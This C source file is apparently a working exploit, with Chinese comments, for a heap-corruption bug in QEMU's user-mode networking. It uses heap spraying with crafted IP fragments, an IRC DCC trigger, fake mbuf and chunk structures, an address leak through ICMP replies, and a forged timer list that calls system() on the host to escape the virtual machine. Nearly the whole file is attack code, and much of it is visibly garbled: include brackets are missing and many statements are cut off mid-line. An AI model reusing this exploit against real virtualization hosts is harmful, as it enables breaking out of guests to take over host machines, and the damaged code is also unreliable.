#include linux/if_ether.h>      // ETH_P_IP = 0x0800, ETH_P_IPV6 = 0x86DD
#include linux/if_packet.h>     // struct sockaddr_ll (see man 7 packet)
#include net/ethernet.h>
#include sys/time.h>             // gettimeofday()

#include errno.h>                 // errno, perror()

#define ETH_HDRLEN 14 // Ethernet header length
#define IP4_HDRLEN 20 // IPv4 header length
#define TCP_HDRLEN 20 // TCP header length, excludes options data
#define ICMP_HDRLEN 8 // ICMP header length for echo request, excludes data

uint16_t g_spray_ip_id;
size_t heap_base,text_base;
struct ip_packet_info {
    uint16_t ip_id;        // IP序列号
    uint16_t ip_off;    // 片偏移
    bool MF;            // Flags
    uint8_t ip_p;        // 协议包类型
    uint32_t ip_src;
    uint32_t ip_dst;
};

void errExit(char *string)
{
    perror(string);
    exit(EXIT_FAILURE);
}

uint16_t checksum(uint16_t *addr, int len) {
    int count = len;
    register uint32_t sum = 0;
    uint16_t answer = 0;

    while (count > 1) {
        sum += *(addr++);
        count -= 2;
    }
    if (count > 0) {
        sum += *(uint8_t *)addr;
    }
    while (sum >> 16) {
        sum = (sum 
    }
    answer = ~sum;
    return (answer);
}


uint16_t icmp4_checksum(struct icmp icmphdr, uint8_t *payload, int payloadlen) {
    char buf[IP_MAXPACKET];
    char *ptr;
    int chksumlen = 0;
    int i;

    ptr =  // ptr points to beginning of buffer buf

    // Copy Message Type to buf (8 bits)
    memcpy(ptr, 
    ptr += sizeof(icmphdr.icmp_type);
    chksumlen += sizeof(icmphdr.icmp_type);

    // Copy Message Code to buf (8 bits)
    memcpy(ptr, 
    ptr += sizeof(icmphdr.icmp_code);
    chksumlen += sizeof(icmphdr.icmp_code);

    // Copy ICMP checksum to buf (16 bits)
    // Zero, since we don't know it yet
    *ptr = 0;
    ptr++;
    *ptr = 0;
    ptr++;
    chksumlen += 2;

    // Copy Identifier to buf (16 bits)
    memcpy(ptr, 
    ptr += sizeof(icmphdr.icmp_id);
    chksumlen += sizeof(icmphdr.icmp_id);

    // Copy Sequence Number to buf (16 bits)
    memcpy(ptr, 
    ptr += sizeof(icmphdr.icmp_seq);
    chksumlen += sizeof(icmphdr.icmp_seq);

    // Copy payload to buf
    memcpy(ptr, payload, payloadlen);
    ptr += payloadlen;
    chksumlen += payloadlen;

    // Pad to the next 16-bit boundary
    for (i = 0; i  payloadlen % 2; i++, ptr++) {
        *ptr = 0;
        ptr++;
        chksumlen++;
    }

    return checksum((uint16_t *)buf, chksumlen);
}


uint16_t tcp4_checksum(struct ip iphdr, struct tcphdr tcphdr, uint8_t *payload,
                       int payloadlen) {
    uint16_t svalue;
    char buf[IP_MAXPACKET], cvalue;
    char *ptr;
    int i, chksumlen = 0;

    ptr = 

    memcpy(ptr, 
    ptr += sizeof(iphdr.ip_src.s_addr);
    chksumlen += sizeof(iphdr.ip_src.s_addr);

    memcpy(ptr, 
    ptr += sizeof(iphdr.ip_dst.s_addr);
    chksumlen += sizeof(iphdr.ip_dst.s_addr);

    *ptr = 0;
    ptr++;
    chksumlen += 1;

    memcpy(ptr, 
    ptr += sizeof(iphdr.ip_p);
    chksumlen += sizeof(iphdr.ip_p);

    svalue = htons(sizeof(tcphdr) + payloadlen);
    memcpy(ptr, 
    ptr += sizeof(svalue);
    chksumlen += sizeof(svalue);

    memcpy(ptr, 
    ptr += sizeof(tcphdr.th_sport);
    chksumlen += sizeof(tcphdr.th_sport);

    memcpy(ptr, 
    ptr += sizeof(tcphdr.th_dport);
    chksumlen += sizeof(tcphdr.th_dport);

    memcpy(ptr, 
    ptr += sizeof(tcphdr.th_seq);
    chksumlen += sizeof(tcphdr.th_seq);

    memcpy(ptr, 
    ptr += sizeof(tcphdr.th_ack);
    chksumlen += sizeof(tcphdr.th_ack);

    cvalue = (tcphdr.th_off  4) + tcphdr.th_x2;
    memcpy(ptr, 
    ptr += sizeof(cvalue);
    chksumlen += sizeof(cvalue);

    memcpy(ptr, 
    ptr += sizeof(tcphdr.th_flags);
    chksumlen += sizeof(tcphdr.th_flags);

    memcpy(ptr, 
    ptr += sizeof(tcphdr.th_win);
    chksumlen += sizeof(tcphdr.th_win);

    *ptr = 0;
    ptr++;
    *ptr = 0;
    ptr++;
    chksumlen += 2;

    memcpy(ptr, 
    ptr += sizeof(tcphdr.th_urp);
    chksumlen += sizeof(tcphdr.th_urp);

    memcpy(ptr, payload, payloadlen);
    ptr += payloadlen;
    chksumlen += payloadlen;

    for (i = 0; i  payloadlen % 2; i++, ptr++) {
        *ptr = 0;
        ptr++;
        chksumlen++;
    }

    return checksum((uint16_t *)buf, chksumlen);
}

void hexdump(const char *desc, void *addr, int len) {
    int i;
    unsigned char buff[17];
    unsigned char *pc = (unsigned char *)addr;

    // Output description if given.
    if (desc != NULL)
        printf("%s:\n", desc);
    if (len == 0) {
        printf("  ZERO LENGTH\n");
        return;
    }
    if (len  0) {
        printf("  NEGATIVE LENGTH: %i\n", len);
        return;
    }

    // Process every byte in the data.
    for (i = 0; i  len; i++) {
        // Multiple of 16 means new line (with line offset).
        if ((i % 16) == 0) {
            // Just don't print ASCII for the zeroth line.
            if (i != 0)
                printf("  %s\n", buff);
            // Output the offset.
            printf("  %04x ", i);
        }
        // Now the hex code for the specific character.
        printf(" %02x", pc[i]);
        // And store a printable ASCII character for later.
        if ((pc[i]  0x20) || (pc[i] > 0x7e))
            buff[i % 16] = '.';
        else
            buff[i % 16] = pc[i];
        buff[(i % 16) + 1] = '\0';
    }
    // Pad out last line if not exactly 16 characters.
    while ((i % 16) != 0) {
        printf("   ");
        i++;
    }
    // And print the final ASCII bit.
    printf("  %s\n", buff);
}

void sendPacket(struct ip_packet_info *info, uint8_t *data, uint32_t data_len) 
{
    const int on = 1;
    char *interface, *src_ip, *dst_ip;
    unsigned char *packet;
    struct ip ipHeader;
    struct sockaddr_in sin;
    struct ifreq ifr;
    struct in_addr sock_addr;
    packet        = (uint8_t*)calloc(1,IP_MAXPACKET);
    interface    = (int8_t *)calloc(1,40);
    src_ip         = (int8_t *)calloc(1,INET_ADDRSTRLEN);
    dst_ip         = (int8_t *)calloc(1,INET_ADDRSTRLEN);

    strcpy(interface, "enp0s3");
    strcpy(src_ip, "127.0.0.1");
    strcpy(dst_ip, "127.0.0.1");

    // IPPROTO_RAW: 只能发送IP包
    int32_t fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (fd  0) errExit("socket() failed to get socket descriptor for using ioctl()");
    memset(
    snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface);
    // 查询网卡 interface index,用于后续socket 绑定网卡
    if (ioctl(fd, SIOCGIFINDEX,  0) errExit("ioctl() failed to find interface.");
    close(fd);

    ipHeader.ip_hl    = IP4_HDRLEN / sizeof(uint32_t);   // IP_Header_LEN
    ipHeader.ip_v     = 4;                                // Protocol Type: IPV4
    ipHeader.ip_tos    = 0;                                // Type Of Service
    ipHeader.ip_len    = htons(IP4_HDRLEN + data_len);     // Total Length
    ipHeader.ip_id    = htons(info->ip_id);                // ID sequence number

    // FLAGS: 长度为 3Bit
    // 字段中第一位不使用
    // 第二位是DF(Don't Fragment),若为1,当前数据包不可分片
    // 第三位是MF(More Fragments),MF = 0 指最后一个分片

    // Fragment Offset: 长度13Bit,表示该IP包在该组分片包中位置,接收端靠此来组装还原IP包.
    ipHeader.ip_off    = htons((((uint16_t)info->MF  13) | (info->ip_off >> 3)));

    ipHeader.ip_ttl    = 0xFF;                             // Time-to-Live,默认最大值255
    ipHeader.ip_p    = info->ip_p;                        // 传输协议包类型

    // inet_pton: 函数转换字符串到网络地址,"点分十进制" -> "二进制整数"
    if (( inet_pton(AF_INET, src_ip, 

    ipHeader.ip_sum    = checksum((uint16_t *) // Calculate IP_Header Checksum

    // 构造IPV4 Packet 用于发送
    memcpy(packet, 
    memcpy(packet + IP4_HDRLEN, data, data_len);

    memset(
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = sock_addr.s_addr;

    // 创造一个socket 只用于发送IP包
    if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))  0) errExit("socket() failed.");

    // 设置 IP_HDRINCL,用于发送手动构造IP Header的IP包
    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL,  0) errExit("setsockopt() failed to set IP_HDRINCL ");

    // 绑定上述Socket 到网卡`ifr.ifr_name`接口
    if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE,  0) errExit("setsockopt() failed to bind to interface ");

    // 通过上述Socket向网卡中发送构造的IPV4的数据包
    if (sendto(fd, packet, IP4_HDRLEN + data_len, 0,
               (struct sockaddr *) 0) errExit("sendto() failed ");

    close(fd);
    free(packet);
    free(interface);
    free(src_ip);
    free(dst_ip);
    puts("====================== Send Packet Done! ======================");
}

int connect_with(char *ip,uint16_t port)
{

    int fd = socket(AF_INET,SOCK_STREAM, 0);
    if(fd  0){
        errExit("Socket");
    }
    struct sockaddr_in tcp_socket;
    tcp_socket.sin_family = AF_INET;
    tcp_socket.sin_port = htons(port);
    tcp_socket.sin_addr.s_addr = inet_addr(ip);

    if (connect(fd, (struct sockaddr *) 

    return fd;
}


// heapSpray函数用于清空堆块列表
void heapSpray(int size, uint16_t ip_id)
{
    const int on = 1;
    char *interface, *src_ip, *dst_ip;
    unsigned char *packet;
    char *payload;
    int payload_len,i;
    struct ip ipHeader;
    struct tcphdr tcpHeader;
    struct sockaddr_in sin;
    struct ifreq ifr;

    packet        = (uint8_t*)calloc(1,IP_MAXPACKET);
    interface    = (int8_t *)calloc(1,40);
    src_ip         = (int8_t *)calloc(1,INET_ADDRSTRLEN);
    dst_ip         = (int8_t *)calloc(1,INET_ADDRSTRLEN);
    payload     = (int8_t *)calloc(1,IP_MAXPACKET);

    assert(size >= 0x54);
    payload_len = size - 0x54;
    strcpy(interface, "enp0s3");
    strcpy(src_ip, "127.0.0.1");
    strcpy(dst_ip, "127.0.0.1");

    // IPPROTO_RAW: 只能发送IP包
    int32_t fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (fd  0) errExit("socket() failed to get socket descriptor for using ioctl()");
    memset(
    snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface);
    // 查询网卡 interface index,用于后续socket 绑定网卡
    if (ioctl(fd, SIOCGIFINDEX,  0) errExit("ioctl() failed to find interface.");
    close(fd);

    ipHeader.ip_hl    = IP4_HDRLEN / sizeof(uint32_t);               // IP_Header_LEN
    ipHeader.ip_v     = 4;                                            // Protocol Type: IPV4
    ipHeader.ip_tos    = 0;                                            // Type Of Service
    ipHeader.ip_len    = htons(IP4_HDRLEN + TCP_HDRLEN + payload_len); // Total Length
    ipHeader.ip_id    = htons(ip_id);                                 // ID sequence number

    // FLAGS: 长度为 3Bit
    // 字段中第一位不使用
    // 第二位是DF(Don't Fragment),若为1,当前数据包不可分片
    // 第三位是MF(More Fragments),MF = 0 指最后一个分片

    // Fragment Offset: 长度13Bit,表示该IP包在该组分片包中位置,接收端靠此来组装还原IP包.
    ipHeader.ip_off    = htons((1  13));

    ipHeader.ip_ttl    = 0xFF;                             // Time-to-Live,默认最大值255
    ipHeader.ip_p    = IPPROTO_TCP;                      // 传输协议包类型

    // inet_pton: 函数转换字符串到网络地址,"点分十进制" -> "二进制整数"
    if (( inet_pton(AF_INET, src_ip, 

    ipHeader.ip_sum    = checksum((uint16_t *) // Calculate IP_Header Checksum

    /*****************************************************/
    tcpHeader.th_sport = htons(60);                // Source port number
    tcpHeader.th_dport = htons(80);                // Destination port number
    tcpHeader.th_seq   = htonl(0);                // TCP Sequence number
    tcpHeader.th_ack   = htonl(0);                // Acknowledgement number
    tcpHeader.th_x2    = 0;                        // Reserved
    tcpHeader.th_off   = TCP_HDRLEN / 4;

    int tcp_flags[8];
    // Flags (8 bits)
    // FIN flag (1 bit)
    tcp_flags[0] = 0;
    // SYN flag (1 bit)
    tcp_flags[1] = 0;
    // RST flag (1 bit)
    tcp_flags[2] = 0;
    // PSH flag (1 bit)
    tcp_flags[3] = 1;
    // ACK flag (1 bit)
    tcp_flags[4] = 1;
    // URG flag (1 bit)
    tcp_flags[5] = 0;
    // ECE flag (1 bit)
    tcp_flags[6] = 0;
    // CWR flag (1 bit)
    tcp_flags[7] = 0;
    for (i = 0; i  8; i++) {
        tcpHeader.th_flags += (tcp_flags[i]  i);
    }

    tcpHeader.th_win = htons(0xFFFF);            // Window size
    tcpHeader.th_urp = htons(0);                // Urgent pointer 
    // TCP checksum (16 bits)
    tcpHeader.th_sum = tcp4_checksum(ipHeader, tcpHeader, (uint8_t *)payload, payload_len);

    memcpy(packet, 
    memcpy(packet + IP4_HDRLEN, 
    memcpy(packet + IP4_HDRLEN + TCP_HDRLEN, payload, payload_len);

    memset(
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = ipHeader.ip_dst.s_addr;

    // 创造一个socket 只用于发送IP包
    if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))  0) errExit("socket() failed.");

    // 设置 IP_HDRINCL,用于发送手动构造IP Header的IP包
    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL,  0) errExit("setsockopt() failed to set IP_HDRINCL ");

    // 绑定上述Socket 到网卡`ifr.ifr_name`接口
    if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE,  0) errExit("setsockopt() failed to bind to interface ");

    // 通过上述Socket向网卡中发送构造的IPV4的数据包
    if (sendto(fd, packet, IP4_HDRLEN + TCP_HDRLEN + payload_len, 0,
               (struct sockaddr *) 0) errExit("sendto() failed ");

    close(fd);
    free(packet);
    free(interface);
    free(src_ip);
    free(dst_ip);
    free(payload);
}
void arbitrary_write(uint64_t addr, int addr_len, uint8_t *write_data,
                    int write_data_len, int spray_times) {
    struct ip_packet_info info;
    int i;
    assert(addr_len = 8);
    char *payload = calloc(1,0x2000);
    memset(payload,'F',0x2000);
    // 清空堆块
    for (i = 0; i  spray_times; ++i) {
        printf("Spraying Size = 0x2000, id: %d\n", i);
        heapSpray(0x2000, g_spray_ip_id + i);
       }
    uint16_t new_ip_id = g_spray_ip_id + spray_times;

    uint16_t forAllocVuln0 = new_ip_id++;
    info.ip_id = forAllocVuln0;
    info.ip_off = 0;
    info.MF = 1;
    info.ip_p = 0xFF;
    sendPacket(

    uint16_t forAllocVuln1 = new_ip_id++;
    info.ip_id = forAllocVuln1;
    info.ip_off = 0;
    info.MF = 1;
    info.ip_p = 0xFF;
    sendPacket(

    // 防止堆块和top_chunk合并
    uint16_t target = new_ip_id++;
    info.ip_id = target;
    info.ip_off = 0;
    info.MF = 1;
    info.ip_p = 0xFF;

    uint64_t fake_chunk[0x10];
    i = 0;
    fake_chunk[i++] = 0xA00;
    fake_chunk[i++] = 0x20;
    fake_chunk[i++] = 0xDEAD;
    fake_chunk[i++] = 0xCAFE;
    fake_chunk[i++] = 0x20;
    fake_chunk[i++] = 0x2C1;
    memcpy(payload + 0x2E0,(void*)fake_chunk,0x30);
    sendPacket(

    info.ip_id = new_ip_id++;
    info.ip_off = 0;
    info.MF = 1;
    info.ip_p = 0xFF;
    sendPacket(

    info.ip_id = forAllocVuln1;
    info.ip_off = 8;
    info.MF = 0;
    info.ip_p = 0xFF;
    sendPacket( // 结束 Vuln1 请求,将0xCE0大小的堆块进入unsorted bin
    /************** Heap Layout Finished *****************/


    int fd = connect_with("10.0.2.2",6667);
    char s[0x30] = "DCC SEND TEST -1 -1 2333\0";
    memset(payload,'F',0x1000);
    memcpy(payload + 0x5AA - strlen(s) ,s,strlen(s));
    write(fd,payload,0x5AA);
    memset(payload,'F',0x1000);

    info.ip_id = forAllocVuln0;
    info.ip_off = 8;
    info.MF = 0;
    info.ip_p = 0xFF;
    sendPacket(

    // padding
    info.ip_id = new_ip_id++;
    info.ip_off = 0;
    info.MF = 1;
    info.ip_p = 0xFF;
    sendPacket(

    uint16_t vuln = new_ip_id++;
    info.ip_id = vuln;
    info.ip_off = 0;
    info.ip_p = 0xFF;

    i = 0;
    uint64_t fake[0x20];
    fake[i++] = 0;
    fake[i++] = 0x675;                 // chunk size
    fake[i++] = 0;                     // m_next
    fake[i++] = 0;                    // m_prev
    fake[i++] = 0;                     // m_nextpkt
    fake[i++] = 0;                    // m_prevpkt
    fake[i++] = ((size_t)0x608  32) | 0;    // m_size  32 | m_flags
    fake[i++] = 0;                    // m_so
    fake[i++] = addr;                // m_data

    memcpy(payload + 0x230,
    if(addr_len  8) {
        info.MF = 1;
        sendPacket(

        info.ip_id = vuln;
        info.ip_off = 0x270;
        info.MF = 0;
        info.ip_p = 0xFF;

        sendPacket(
    } else {
        info.MF = 0;
        sendPacket(
    }

    // padding
    info.ip_id = new_ip_id++;
    info.ip_off = 0;
    info.MF = 1;
    info.ip_p = 0xFF;
    sendPacket(

    info.ip_id = target;
    info.ip_off = 0x310;
    info.MF = 0;
    info.ip_p = 0xFF;
    sendPacket(

    close(fd);
    free(payload);
}

void leak(uint64_t addr, int addr_len) {
    struct ip_packet_info info;
    int i,recvfd;
    assert(addr_len = 8);
    char *payload = calloc(1,0x2000);
    memset(payload,'F',0x2000);
    // 清空堆块
    for (i = 0; i  0x20; ++i) {
        printf("Spraying Size = 0x2000, id: %d\n", i);
        heapSpray(0x2000, g_spray_ip_id + i);
       }
    uint16_t new_ip_id = g_spray_ip_id + 0x20;

    uint16_t forAllocVuln0 = new_ip_id++;
    info.ip_id = forAllocVuln0;
    info.ip_off = 0;
    info.MF = 1;
    info.ip_p = 0xFF;
    sendPacket(

    uint16_t forAllocVuln1 = new_ip_id++;
    info.ip_id = forAllocVuln1;
    info.ip_off = 0;
    info.MF = 1;
    info.ip_p = 0xFF;
    sendPacket(

    // 防止堆块和top_chunk合并
    uint16_t target = new_ip_id++;
    info.ip_id = target;
    info.ip_off = 0;
    info.MF = 1;
    info.ip_p = IPPROTO_ICMP;

    uint64_t fake_chunk[0x10];
    i = 0;
    fake_chunk[i++] = 0xA00;
    fake_chunk[i++] = 0x20;
    fake_chunk[i++] = 0xDEAD;
    fake_chunk[i++] = 0xCAFE;
    fake_chunk[i++] = 0x20;
    fake_chunk[i++] = 0x2C1;
    memcpy(payload + 0x2E0,(void*)fake_chunk,0x30);
    sendPacket(

    info.ip_id = new_ip_id++;
    info.ip_off = 0;
    info.MF = 1;
    info.ip_p = 0xFF;
    sendPacket(

    info.ip_id = forAllocVuln1;
    info.ip_off = 8;
    info.MF = 0;
    info.ip_p = 0xFF;
    sendPacket( // 结束 Vuln1 请求,将0xCE0大小的堆块进入unsorted bin
    /************** Heap Layout Finished *****************/


    int fd = connect_with("10.0.2.2",6667);
    char s[0x30] = "DCC SEND TEST -1 -1 2333\0";
    memset(payload,'F',0x1000);
    memcpy(payload + 0x5AA - strlen(s) ,s,strlen(s));
    write(fd,payload,0x5AA);
    memset(payload,'F',0x1000);

    info.ip_id = forAllocVuln0;
    info.ip_off = 8;
    info.MF = 0;
    info.ip_p = 0xFF;
    sendPacket(

    // padding
    info.ip_id = new_ip_id++;
    info.ip_off = 0;
    info.MF = 1;
    info.ip_p = 0xFF;
    sendPacket(

    uint16_t vuln = new_ip_id++;
    info.ip_id = vuln;
    info.ip_off = 0;
    info.MF = 1;
    info.ip_p = 0xFF;

    i = 0;
    uint64_t fake[0x20];
    fake[i++] = 0;
    fake[i++] = 0x675;                 // chunk size
    fake[i++] = 0;                     // m_next
    fake[i++] = 0;                    // m_prev
    fake[i++] = 0;                     // m_nextpkt
    fake[i++] = 0;                    // m_prevpkt
    fake[i++] = ((size_t)0x608  32) | 0;    // m_size  32 | m_flags
    fake[i++] = 0;                    // m_so
    fake[i++] = addr;                // m_data

    memcpy(payload + 0x230,
    sendPacket(

    info.ip_id = vuln;
    info.ip_off = 0x270;
    info.MF = 0;
    info.ip_p = 0xFF;

    sendPacket(

    // padding
    info.ip_id = new_ip_id++;
    info.ip_off = 0;
    info.MF = 1;
    info.ip_p = 0xFF;

    sendPacket(

    info.ip_id = target;
    info.ip_off = 0x310;
    info.MF = 0;
    info.ip_p = IPPROTO_ICMP;

    recvfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); // 需要放置在 结束ICMP请求之前

    sendPacket(

    /**************************/
    int bytes, status;
    struct ip *recv_iphdr;
    struct icmp *recv_icmphdr;
    uint8_t recv_ether_frame[IP_MAXPACKET];
    struct sockaddr from;
    socklen_t fromlen;
    struct timeval wait;

    wait.tv_sec = 2;
    wait.tv_usec = 0;
    setsockopt(recvfd, SOL_SOCKET, SO_RCVTIMEO, (char *)
    recv_iphdr = (struct ip *)(recv_ether_frame + ETH_HDRLEN);
    recv_icmphdr = (struct icmp *)(recv_ether_frame + ETH_HDRLEN + IP4_HDRLEN);
    while (1) {
        memset(recv_ether_frame, 0, IP_MAXPACKET);
        memset(
        fromlen = sizeof(from);
        if ((bytes = recvfrom(recvfd, recv_ether_frame, IP_MAXPACKET, 0, (struct sockaddr *) 0) {
            status = errno;
            if (status == EAGAIN) { // EAGAIN = 11
                errExit("No reply");
            } else if (status == EINTR) { // EINTR = 4
                continue;
            } else {
                errExit("recvfrom() failed ");
            }
        }
        if ((((recv_ether_frame[12]  8) + recv_ether_frame[13]) == ETH_P_IP)  0x200) continue;
            hexdump("ping recv", recv_ether_frame, bytes);
            text_base = ((*(uint64_t *)(recv_ether_frame + 0x60)) - 0x4584C2) 
            heap_base = (*(uint64_t *)(recv_ether_frame + 0x48)) 
            printf("TEXT BASE: %#lX\n"
                   "HEAP BASE: %#lX\n",
                    text_base, heap_base);
            break;
        } // End if IP ethernet frame carrying ICMP_ECHOREPLY
    }

    close(fd);
    close(recvfd);
    free(payload);
    puts("=================== Leak Finished! ====================");

}
const char eth_frame[0x10] = {
    // Ethernet Frame Header Data
    // DST MAC 52:54:00:12:34:56
    0x52, 0x54, 0x00, 0x12, 0x34, 0x56,
    // SRC MAC 52:54:00:12:34:56
    0x52, 0x54, 0x00, 0x12, 0x34, 0x56, 
    // Length / Type: IPv4
    0x08, 0x00
};

const char exec_cmd[] = "/usr/bin/gnome-calculator";
int main()
{
    struct icmp *icmpHeader;
    struct ip *ipHeader;
    uint8_t eth_packet[IP_MAXPACKET];
    char src_ip[INET_ADDRSTRLEN], dst_ip[INET_ADDRSTRLEN];
    int status;

    memcpy(eth_packet, eth_frame, ETH_HDRLEN);
    ipHeader = (struct ip *)(eth_packet + ETH_HDRLEN);

    strcpy(src_ip, "10.0.2.15");
    strcpy(dst_ip, "10.0.2.2");

    ipHeader->ip_hl        = IP4_HDRLEN / sizeof(uint32_t);   // IP_Header_LEN
    ipHeader->ip_v         = 4;                                // Protocol Type: IPV4
    ipHeader->ip_tos    = 0;                                // Type Of Service
    ipHeader->ip_len    = (ICMP_HDRLEN);                    // Total Length
    ipHeader->ip_id        = 0xCDCD;                           // ID sequence number

    // FLAGS: 长度为 3Bit
    // 字段中第一位不使用
    // 第二位是DF(Don't Fragment),指明当前的packet包是否是不可分片的
    // 第三位是MF(More Fragments),指明当前的包是否是分片序列的最后一个,MF = 0则是最后一个包

    // Fragment Offset: 长度13Bit,表示该IP包在该组分片包中位置,接收端靠此来组装还原IP包.
    ipHeader->ip_off    = 0;
    ipHeader->ip_ttl    = 0xFF;                         // Time-to-Live,默认最大值255
    ipHeader->ip_p        = IPPROTO_ICMP;                 // 传输协议包类型
    if (( inet_pton(AF_INET, src_ip, 
    ipHeader->ip_sum    = checksum((uint16_t *) // Calculate IP_Header Checksum

    icmpHeader = (struct icmp *)(eth_packet + ETH_HDRLEN + IP4_HDRLEN);
    icmpHeader->icmp_type     = ICMP_ECHO;
    icmpHeader->icmp_code     = 0;            // Message Code
    icmpHeader->icmp_id     = htons(1000);  // Identifier
    icmpHeader->icmp_seq     = htons(0);     // Sequence Number
    icmpHeader->icmp_cksum     = icmp4_checksum(*icmpHeader, eth_packet, 0);   // ICMP Checksum

    // 向 0x*000B00处写入 ETH Packet
    memcpy(eth_packet + ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN, exec_cmd,
           strlen(exec_cmd) + 1);
    g_spray_ip_id = 0xAABB;
    arbitrary_write(
        0x000B00 - 0x310, 3, eth_packet,
        ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN + strlen(exec_cmd) + 1, 0x100); // 将伪造的ICMP包和参数写入到某处确定地址
    g_spray_ip_id = 0xBBCC;
    leak(0x000B00 + IP4_HDRLEN + ETH_HDRLEN,3);

    /********************** Leak Finished *****************************/

    size_t *fake_timer_list = (uint64_t *)calloc(1,0x200);
    size_t fake_timer_list_ptr = heap_base + 0x1000;
    fake_timer_list[0]  = text_base + 0xE40D40;         // qemu_clocks
    fake_timer_list[7]     = 0x0000000100000000;
    fake_timer_list[8]     = fake_timer_list_ptr + 0x70;   // active_timers -> fake_QEMUTimer
    fake_timer_list[9]     = 0;
    fake_timer_list[10] = 0;
    fake_timer_list[11] = text_base + 0x2E5C41;         // qemu_timer_notify_cb
    fake_timer_list[12] = 0;
    fake_timer_list[13] = 0x0000000100000000;

    // following is fake_QEMUTimer
    fake_timer_list[14] = 0;                             // expire_time set to 0 will trigger func cb
    fake_timer_list[15] = fake_timer_list_ptr;
    fake_timer_list[16] = text_base + 0x28E280;            // system
    fake_timer_list[17] = heap_base + 0xB00 + ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN;  // cmd的地址
    fake_timer_list[18] = 0;
    fake_timer_list[19] = 0x000F424000000000;

    g_spray_ip_id = 0xCCDD;
    arbitrary_write(fake_timer_list_ptr - 0x310, 8, (void*)fake_timer_list, 0xA0, 0x30);

    size_t TMP = fake_timer_list_ptr;
    g_spray_ip_id = 0xDDBB;
    size_t main_loop_tlg = text_base + 0xE40D20;
    arbitrary_write(main_loop_tlg - 0x310, 8, (void*)
}
关闭